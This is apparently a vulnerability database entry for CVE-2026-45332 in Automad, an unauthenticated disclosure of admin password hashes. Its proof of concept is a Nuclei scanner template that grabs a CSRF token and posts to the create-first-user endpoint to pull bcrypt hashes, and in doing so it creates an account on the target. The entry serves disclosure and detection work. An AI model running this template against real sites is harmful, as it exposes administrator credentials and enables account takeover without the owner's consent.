CVE-2026-45332: Automad < 2.0.0-beta.28 - Unauthenticated Admin Password Hash Disclosure

2026-08-16 Automad PoC Public

Description

Automad 2.0.0-alpha.1 to 2.0.0-beta.27 contains a broken access control vulnerability caused by publicly accessible /_api/user-collection/create-first-user endpoint returning full serialized user data, letting unauthenticated attackers retrieve bcrypt password hashes of all administrator accounts, exploit requires the endpoint to remain publicly accessible after initial setup.

PoC

id: CVE-2026-45332

info:
  name: Automad < 2.0.0-beta.28 - Unauthenticated Admin Password Hash Disclosure
  author: str4k3r
  severity: high
  description: |
    Automad 2.0.0-alpha.1 to 2.0.0-beta.27 contains a broken access control vulnerability caused by publicly accessible /_api/user-collection/create-first-user endpoint returning full serialized user data, letting unauthenticated attackers retrieve bcrypt password hashes of all administrator accounts, exploit requires the endpoint to remain publicly accessible after initial setup.
  impact: |
    Unauthenticated attackers can retrieve bcrypt password hashes of all administrator accounts, risking credential compromise and full system takeover.
  remediation: |
    Upgrade to version 2.0.0-beta.28 or later.
  reference:
    - https://github.com/marcantondahmen/automad/security/advisories/GHSA-xm76-r88j-vm3g
    - https://nvd.nist.gov/vuln/detail/CVE-2026-45332
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-45332
    epss-score: 0.0134
    epss-percentile: 0.69876
    cwe-id: CWE-200
  metadata:
    verified: true
    max-request: 2
    product: automad
    vendor: marcantondahmen
  tags: cve,cve2026,automad,exposure,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /dashboard/login HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: csrf_token
        part: body
        group: 1
        internal: true
        regex:
          - 'name="csrf" content="([a-f0-9]+)"'

  - raw:
      - |
        POST /_api/user-collection/create-first-user HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        __csrf__={{csrf_token}}&username=nuclei_check&password1=Nuclei-Check-Pw1!&password2=Nuclei-Check-Pw1!&email=nuclei-check%40example.local

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'passwordHash'
          - 'accounts.php'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d2b493b1ff05c93673d4fd47be8ee6ce9ffd47050afad33b30a846647d6780bf022009adf92f999bc425242c3ad1328b6d05d4391d79bb2b686f319cd454da309afe:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities